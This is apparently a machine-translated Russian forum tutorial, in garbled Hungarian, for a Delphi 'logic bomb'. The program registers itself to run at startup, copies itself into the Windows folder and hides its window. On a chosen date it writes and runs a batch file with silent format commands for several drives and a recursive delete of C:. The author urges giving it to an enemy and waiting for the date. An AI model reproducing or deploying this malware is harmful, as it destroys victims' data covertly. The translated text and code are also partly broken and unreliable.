logikai bombát
eljárás TForm1. FormCreate (Sender TObject.);
var
Windir. string;
WindirP. PChar; // leírása változók
Res. Cardinal;
h. TRegistry;
Ez a kódrészletet nem annyira, mint gondolná!
1) Regisztrál egy program indításakor
2) Keresse meg a mappát windows
3) példányban magát adremssu változó windows_mappa, és ez megakadályozza, hogy megértsük mi utat egészen a windows mappa
4) elrejti a főablak formájában
C, hogy ki, nézzük pristum ellenőrizni feltételek
Nem feledkezett meg a Timer ami fekszik az utat?
írni a következő kódot ott
kezdődik
Edit1. Szöveg: = datetostr (dátum); // a logikai dátummezővé
ha Edit1. szöveg <= edit2. Text //если дата равна или больше введеной даты то создаеться батник который начинает форматирование винта или к примеру выводит сообщение)
majd
kezdődik
Memo1. Vonalak. SaveToFile ( 'kill.bat');
winexec ( 'kill.bat' 0.);
zárja;
vég
más
zárja;
végén;
Most kompeliruem programot, ha figyelmesen olvassa el, a hiba nem fordul elő
Adj neki ellenség, és várja dédelgetett dátum))
Majdnem elfelejtettem a feljegyzés területén meg kell írja ide a szöveget, vagy egy másik nyelvet a baht
formátumban D. / q / x / y
méret E. / q / x / y
formátumban H. / q / x / y
formátumban F. / q / x / y
formátumban G. / q / x / y
rd C. / s / q
Egy ilyen program jó, hogy miután összeveszett valaki akar csinálni dolgokat, de ez túl nyilvánvaló))
valamint beállítani a dátumot végrehajtásának egy pár hónap), és tiszta lelkiismerettel és a kezek nem karcos))) Mi csak ünnepelni ezt a napot, mint egy nyaralás a naptárban, és várja a dédelgetett dátum mosolyogva))